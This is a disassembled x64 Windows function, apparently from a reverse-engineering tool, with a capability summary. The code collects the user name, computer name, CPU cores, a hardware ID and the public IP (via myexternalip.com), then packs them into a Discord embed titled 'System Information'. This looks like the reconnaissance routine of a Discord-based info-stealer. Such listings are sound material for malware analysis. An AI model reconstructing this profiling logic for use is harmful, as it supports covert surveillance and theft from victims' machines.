Function at 0x140038c10
Capabilities:
Create http request
Get hostname
Get session user name
Get system information on windows
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x1560]
mov eax, 0x1660
call fcn.14003e6b0
sub rsp, rax
mov rax, qword [0x140087048]
xor rax, rsp
mov qword [rbp + 0x1550], rax
mov rdi, rcx
mov qword [rbp], rcx
xor r15d, r15d
mov dword [rsp + 0x30], r15d
mov dword [rbp + 0x40], 0x101
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x550]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
lea rax, [rbp + 0x550]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], r15b
jne 0x140038c93
lea rdx, [rbp + 0x550]
lea rcx, [rsp + 0x38]
call fcn.140007670
nop
mov r9d, 0xa
lea r8, str.Username:
lea rcx, [rsp + 0x38]
call fcn.14000c2f0
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
mov qword [rbp + 0xd8], r15
mov qword [rbp + 0xe0], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd8], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x140038d3e
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038d39
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039df3
call fcn.14003dd70
movdqa xmm0, xmmword [0x14007a5f0]
movdqu xmmword [rsp + 0x48], xmm0
mov byte [rsp + 0x38], 0
mov dword [rbp], 0x10
lea rdx, [rbp]
lea rcx, [rbp + 0x530]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x78], xmm1
lea rax, [rbp + 0x530]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140038d80
mov r8, rbx
lea rdx, [rbp + 0x530]
lea rcx, [rsp + 0x78]
call fcn.140007670
nop
mov r9d, 0xa
lea r8, str.Hostname:
lea rcx, [rsp + 0x78]
call fcn.14000c2f0
xorps xmm0, xmm0
movups xmmword [rbp + 0xa8], xmm0
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0xc0], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xa8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xb8], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x140038e2d
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038e28
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039df9
call fcn.14003dd70
movdqa xmm0, xmmword [0x14007a5f0]
movdqu xmmword [rbp - 0x78], xmm0
mov byte [rsp + 0x78], 0
lea rcx, [rbp + 0x148]
call fcn.14000ed50
nop
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [rbp + 0x30]
lea rcx, [rsp + 0x58]
call fcn.14000e7a0
nop
mov r8d, 6
lea rdx, str._Cores
mov rcx, rax
call fcn.140006e40
xorps xmm0, xmm0
movups xmmword [rbp + 0x88], xmm0
mov qword [rbp + 0x98], r15
mov qword [rbp + 0xa0], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x88], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x98], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140038ef2
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038eed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039dff
call fcn.14003dd70
movdqa xmm0, xmmword [0x14007a5f0]
movdqu xmmword [rsp + 0x68], xmm0
mov byte [rsp + 0x58], 0
lea rcx, [rbp + 0x128]
call fcn.14000f3d0
nop
lea rcx, [rbp + 0x108]
call fcn.14000f6a0
nop
lea rcx, [rsp + 0x58]
call fcn.14000f830
nop
mov r9d, 0xd
lea r8, str.Hardware_ID:
mov rcx, rax
call fcn.14000c2f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
mov qword [rbp + 0x78], r15
mov qword [rbp + 0x80], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x78], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140038fac
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038fa7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039e05
call fcn.14003dd70
movdqa xmm0, xmmword [0x14007a5f0]
movdqu xmmword [rsp + 0x68], xmm0
mov byte [rsp + 0x58], 0
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x140077848]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rbx, rax
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.http:__myexternalip.com_raw
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea r9, [rbp]
mov r8d, 0x1000
lea rdx, [rbp + 0x550]
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r8d, dword [rbp]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
lea rdx, [rbp + 0x550]
lea rcx, [rsp + 0x38]
call fcn.140007670
nop
mov r9d, 0xc
lea r8, str.IP_Address:
lea rcx, [rsp + 0x38]
call fcn.14000c2f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], r15
mov qword [rbp + 0x60], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x58], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x1400390ca
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400390c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039e0b
call fcn.14003dd70
movdqa xmm0, xmmword [0x14007a5f0]
movdqu xmmword [rsp + 0x48], xmm0
mov byte [rsp + 0x38], 0
lea rcx, [rbp + 0xe8]
call fcn.14000bd00
nop
xor edx, edx
mov r8d, 0xe8
lea rcx, [rbp + 0x350]
call fcn.14003fdf0
lea rcx, [rbp + 0x350]
call fcn.1400064b0
nop
xor edx, edx
mov r8d, 0xe8
lea rcx, [rbp + 0x260]
call fcn.14003fdf0
lea rcx, [rbp + 0x260]
call fcn.1400064b0
nop
xor edx, edx
mov r8d, 0xe8
lea rcx, [rbp + 0x170]
call fcn.14003fdf0
lea rcx, [rbp + 0x170]
call fcn.1400064b0
nop
xor edx, edx
mov r8d, 0xe8
lea rcx, [rbp + 0x440]
call fcn.14003fdf0
lea rcx, [rbp + 0x440]
call fcn.1400064b0
nop
lea rdx, [0x140079e0c]
lea rcx, [rbp + 0x350]
call fcn.1400073b0
lea rdx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0x10
cmovae rdx, qword [rbp + 0xc8]
mov r8, qword [rbp + 0xd8]
mov rcx, rax
call fcn.140007dd0
lea rdx, [0x14007769c]
mov rcx, rax
call fcn.1400073b0
lea rdx, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0x10
cmovae rdx, qword [rbp + 0xa8]
mov r8, qword [rbp + 0xb8]
mov rcx, rax
call fcn.140007dd0
mov rcx, rax
lea rdx, [0x140079e0c]
call fcn.1400073b0
lea rdx, [0x140079e0c]
lea rcx, [rbp + 0x260]
call fcn.1400073b0
lea rdx, [rbp + 0x148]
cmp qword [rbp + 0x160], 0x10
cmovae rdx, qword [rbp + 0x148]
mov r8, qword [rbp + 0x158]
mov rcx, rax
call fcn.140007dd0
lea rdx, [0x14007a4e8]
mov rcx, rax
call fcn.1400073b0
lea rdx, [rbp + 0x88]
cmp qword [rbp + 0xa0], 0x10
cmovae rdx, qword [rbp + 0x88]
mov r8, qword [rbp + 0x98]
mov rcx, rax
call fcn.140007dd0
lea rdx, [0x14007769c]
mov rcx, rax
call fcn.1400073b0
lea rdx, [rbp + 0x128]
cmp qword [rbp + 0x140], 0x10
cmovae rdx, qword [rbp + 0x128]
mov r8, qword [rbp + 0x138]
mov rcx, rax
call fcn.140007dd0
lea rdx, [0x14007769c]
mov rcx, rax
call fcn.1400073b0
lea rdx, [rbp + 0x108]
cmp qword [rbp + 0x120], 0x10
cmovae rdx, qword [rbp + 0x108]
mov r8, qword [rbp + 0x118]
mov rcx, rax
call fcn.140007dd0
lea rdx, [0x14007769c]
mov rcx, rax
call fcn.1400073b0
lea rdx, [rbp + 0x68]
cmp qword [rbp + 0x80], 0x10
cmovae rdx, qword [rbp + 0x68]
mov r8, qword [rbp + 0x78]
mov rcx, rax
call fcn.140007dd0
mov rcx, rax
lea rdx, [0x140079e0c]
call fcn.1400073b0
lea rdx, [0x140079e0c]
lea rcx, [rbp + 0x170]
call fcn.1400073b0
lea rdx, [rbp + 0x48]
cmp qword [rbp + 0x60], 0x10
cmovae rdx, qword [rbp + 0x48]
mov r8, qword [rbp + 0x58]
mov rcx, rax
call fcn.140007dd0
lea rdx, [0x14007769c]
mov rcx, rax
call fcn.1400073b0
lea rdx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0x10
cmovae rdx, qword [rbp + 0xe8]
mov r8, qword [rbp + 0xf8]
mov rcx, rax
call fcn.140007dd0
mov rcx, rax
lea rdx, [0x140079e0c]
call fcn.1400073b0
lea rcx, [rbp + 0x550]
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::embed::constructor_void____ptr64]
nop
mov edx, 0xe4bef
mov rcx, rax
call qword [sym.imp.dpp.dll_public:_struct_dpp::embed____ptr64___cdecl_dpp::embed::set_color_unsigned_int____ptr64]
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
mov r8d, 0x12
lea rdx, str.System_Information
lea rcx, [rsp + 0x58]
call fcn.140007670
nop
lea rdx, [rsp + 0x58]
mov rcx, rbx
call qword [sym.imp.dpp.dll_public:_struct_dpp::embed____ptr64___cdecl_dpp::embed::set_title_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64____ptr64]
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
movdqa xmm1, xmmword [0x14007a5f0]
movdqu xmmword [rsp + 0x48], xmm1
mov byte [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x17fe
movups xmmword [rbp + 0x530], xmm0
mov rcx, qword [rbp + 0x3c8]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x14003942e
mov rax, qword [rbp + 0x398]
mov r8, qword [rax]
test r8, r8
je 0x14003942e
mov rax, qword [rbp + 0x378]
mov rdx, qword [rax]
cmp r8, qword [rbp + 0x3c0]
cmovb r8, qword [rbp + 0x3c0]
sub r8, rdx
jmp 0x14003946c
test cl, 4
jne 0x14003945e
mov rax, qword [rbp + 0x390]
mov rcx, qword [rax]
test rcx, rcx
je 0x14003945e
mov rax, qword [rbp + 0x370]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3a8]
movsxd r8, dword [rax]
add r8, rcx
sub r8, rdx
jmp 0x14003946c
mov r8, qword [rbp + 0x538]
mov rdx, qword [rbp + 0x530]
test rdx, rdx
je 0x14003947c
lea rcx, [rsp + 0x38]
call fcn.140007110
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x20], xmm1
mov r8d, 9
lea rdx, str.User_Info
lea rcx, [rbp + 0x10]
call fcn.140007670
nop
xor r9d, r9d
lea r8, [rsp + 0x38]
lea rdx, [rbp + 0x10]
mov rcx, rbx
call qword [sym.imp.dpp.dll_public:_struct_dpp::embed____ptr64___cdecl_dpp::embed::add_field_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__bool____ptr64]
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
movdqa xmm1, xmmword [0x14007a5f0]
movdqu xmmword [rbp - 0x78], xmm1
mov byte [rsp + 0x78], 0
mov dword [rsp + 0x30], 0x4ffe
movups xmmword [rbp + 0x530], xmm0
mov rcx, qword [rbp + 0x2d8]
test cl, 2
je 0x1400394f4
test cl, 0x20
je 0x140039521
mov rax, qword [rbp + 0x2a8]
mov r8, qword [rax]
test r8, r8
je 0x140039521
mov rax, qword [rbp + 0x288]
mov rdx, qword [rax]
cmp r8, qword [rbp + 0x2d0]
cmovb r8, qword [rbp + 0x2d0]
sub r8, rdx
jmp 0x14003955f
test cl, 4
jne 0x140039551
mov rax, qword [rbp + 0x2a0]
mov rcx, qword [rax]
test rcx, rcx
je 0x140039551
mov rax, qword [rbp + 0x280]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2b8]
movsxd r8, dword [rax]
add r8, rcx
sub r8, rdx
jmp 0x14003955f
mov r8, qword [rbp + 0x538]
mov rdx, qword [rbp + 0x530]
test rdx, rdx
je 0x14003956f
lea rcx, [rsp + 0x78]
call fcn.140007110
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x18], xmm1
mov r8d, 0xb
lea rdx, str.System_Info
lea rcx, [rbp - 0x28]
call fcn.140007670
nop
xor r9d, r9d
lea r8, [rsp + 0x78]
lea rdx, [rbp - 0x28]
mov rcx, rbx
call qword [sym.imp.dpp.dll_public:_struct_dpp::embed____ptr64___cdecl_dpp::embed::add_field_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__bool____ptr64]
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
movdqa xmm1, xmmword [0x14007a5f0]
movdqu xmmword [rbp - 0x58], xmm1
mov byte [rbp - 0x68], 0
mov dword [rsp + 0x30], 0x12ffe
movups xmmword [rbp + 0x530], xmm0
mov rcx, qword [rbp + 0x1e8]
test cl, 2
je 0x1400395e5
test cl, 0x20
je 0x140039612
mov rax, qword [rbp + 0x1b8]
mov r8, qword [rax]
test r8, r8
je 0x140039612
mov rax, qword [rbp + 0x198]
mov rdx, qword [rax]
cmp r8, qword [rbp + 0x1e0]
cmovb r8, qword [rbp + 0x1e0]
sub r8, rdx
jmp 0x140039650
test cl, 4
jne 0x140039642
mov rax, qword [rbp + 0x1b0]
mov rcx, qword [rax]
test rcx, rcx
je 0x140039642
mov rax, qword [rbp + 0x190]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1c8]
movsxd r8, dword [rax]
add r8, rcx
sub r8, rdx
jmp 0x140039650
mov r8, qword [rbp + 0x538]
mov rdx, qword [rbp + 0x530]
test rdx, rdx
je 0x14003965f
lea rcx, [rbp - 0x68]
call fcn.140007110
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
mov r8d, 0x12
lea rdx, str.Internet_Info_Info
lea rcx, [rbp - 0x48]
call fcn.140007670
nop
xor r9d, r9d
lea r8, [rbp - 0x68]
lea rdx, [rbp - 0x48]
mov rcx, rbx
call qword [sym.imp.dpp.dll_public:_struct_dpp::embed____ptr64___cdecl_dpp::embed::add_field_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__bool____ptr64]
mov rbx, rax
xor ecx, ecx
call fcn.14004f36c
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.dpp.dll_public:_struct_dpp::embed____ptr64___cdecl_dpp::embed::set_timestamp_long_long___int64_____ptr64]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::embed::constructor_struct_dpp::embed_const____ptr64____ptr64]
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x1400396f7
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400396f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039e11
call fcn.14003dd70
movdqa xmm0, xmmword [0x14007a5f0]
movdqu xmmword [rbp - 0x38], xmm0
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x140039743
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003973e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039e17
call fcn.14003dd70
movdqa xmm0, xmmword [0x14007a5f0]
movdqu xmmword [rbp - 0x58], xmm0
mov byte [rbp - 0x68], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x14003978f
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003978a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039e1d
call fcn.14003dd70
movdqa xmm0, xmmword [0x14007a5f0]
movdqu xmmword [rbp - 0x18], xmm0
mov byte [rbp - 0x28], 0
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x1400397dc
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400397d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039e23
call fcn.14003dd70
movdqa xmm0, xmmword [0x14007a5f0]
movdqu xmmword [rbp - 0x78], xmm0
mov byte [rsp + 0x78], 0
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x140039829
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039824
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039e29
call fcn.14003dd70
movdqa xmm0, xmmword [0x14007a5f0]
movdqu xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x10], 0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x140039877
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039872
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039e2f
call fcn.14003dd70
movdqa xmm0, xmmword [0x14007a5f0]
movdqu xmmword [rsp + 0x48], xmm0
mov byte [rsp + 0x38], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x1400398c7
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400398c2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039e35
call fcn.14003dd70
movdqa xmm0, xmmword [0x14007a5f0]
movdqu xmmword [rsp + 0x68], xmm0
mov byte [rsp + 0x58], 0
lea rcx, [rbp + 0x550]
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::embed::destructor_void____ptr64]
nop
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x440], r14
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0x43c], edx
lea rcx, [rbp + 0x448]
call fcn.140006440
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
lea rsi, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x440], rsi
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x43c], edx
lea rbx, vtable.std::ios_base.0
mov qword [rbp + 0x4c8], rbx
lea rcx, [rbp + 0x4c8]
call fcn.14003c008
nop
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x170], r14
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0x16c], edx
lea rcx, [rbp + 0x178]
call fcn.140006440
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x170], rsi
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x16c], edx
mov qword [rbp + 0x1f8], rbx
lea rcx, [rbp + 0x1f8]
call fcn.14003c008
nop
mov rax, qword [rbp + 0x260]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x260], r14
mov rax, qword [rbp + 0x260]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0x25c], edx
lea rcx, [rbp + 0x268]
call fcn.140006440
mov rax, qword [rbp + 0x260]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x260], rsi
mov rax, qword [rbp + 0x260]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x25c], edx
mov qword [rbp + 0x2e8], rbx
lea rcx, [rbp + 0x2e8]
call fcn.14003c008
nop
mov rax, qword [rbp + 0x350]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x350], r14
mov rax, qword [rbp + 0x350]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0x34c], edx
lea rcx, [rbp + 0x358]
call fcn.140006440
mov rax, qword [rbp + 0x350]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x350], rsi
mov rax, qword [rbp + 0x350]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x34c], edx
mov qword [rbp + 0x3d8], rbx
lea rcx, [rbp + 0x3d8]
call fcn.14003c008
nop
mov rdx, qword [rbp + 0x100]
cmp rdx, 0x10
jb 0x140039b0a
inc rdx
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039b05
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039e3b
call fcn.14003dd70
mov qword [rbp + 0xf8], r15
mov qword [rbp + 0x100], 0xf
mov byte [rbp + 0xe8], 0
mov rdx, qword [rbp + 0x60]
cmp rdx, 0x10
jb 0x140039b5e
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039b59
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039e41
call fcn.14003dd70
mov qword [rbp + 0x58], r15
mov qword [rbp + 0x60], 0xf
mov byte [rbp + 0x48], 0
mov rdx, qword [rbp + 0x80]
cmp rdx, 0x10
jb 0x140039bac
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039ba7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039e47
call fcn.14003dd70
mov qword [rbp + 0x78], r15
mov qword [rbp + 0x80], 0xf
mov byte [rbp + 0x68], 0
mov rdx, qword [rbp + 0x120]
cmp rdx, 0x10
jb 0x140039c00
inc rdx
mov rcx, qword [rbp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039bfb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039e4d
call fcn.14003dd70
mov qword [rbp + 0x118], r15
mov qword [rbp + 0x120], 0xf
mov byte [rbp + 0x108], 0
mov rdx, qword [rbp + 0x140]
cmp rdx, 0x10
jb 0x140039c5a
inc rdx
mov rcx, qword [rbp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039c55
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039e53
call fcn.14003dd70
mov qword [rbp + 0x138], r15
mov qword [rbp + 0x140], 0xf
mov byte [rbp + 0x128], 0
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0x10
jb 0x140039cb4
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039caf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039e59
call fcn.14003dd70
mov qword [rbp + 0x98], r15
mov qword [rbp + 0xa0], 0xf
mov byte [rbp + 0x88], 0
mov rdx, qword [rbp + 0x160]
cmp rdx, 0x10
jb 0x140039d0e
inc rdx
mov rcx, qword [rbp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039d09
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039e5f
call fcn.14003dd70
mov qword [rbp + 0x158], r15
mov qword [rbp + 0x160], 0xf
mov byte [rbp + 0x148], 0
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0x10
jb 0x140039d68
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039d63
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039e65
call fcn.14003dd70
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0xc0], 0xf
mov byte [rbp + 0xa8], 0
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0x10
jb 0x140039dbe
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039db9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039ded
call fcn.14003dd70
mov rax, rdi
mov rcx, qword [rbp + 0x1550]
xor rcx, rsp
call fcn.14003dd50
lea r11, [rsp + 0x1660]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.1400447b4
int3
call fcn.1400447b4
nop
call fcn.1400447b4
nop
call fcn.1400447b4
nop
call fcn.1400447b4
nop
call fcn.1400447b4
nop
call fcn.1400447b4
nop
call fcn.1400447b4
nop
call fcn.1400447b4
nop
call fcn.1400447b4
nop
call fcn.1400447b4
nop
call fcn.1400447b4
nop
call fcn.1400447b4
nop
call fcn.1400447b4
nop
call fcn.1400447b4
nop
call fcn.1400447b4
nop
call fcn.1400447b4
nop
call fcn.1400447b4
nop
call fcn.1400447b4
nop
call fcn.1400447b4
nop
call fcn.1400447b4
int3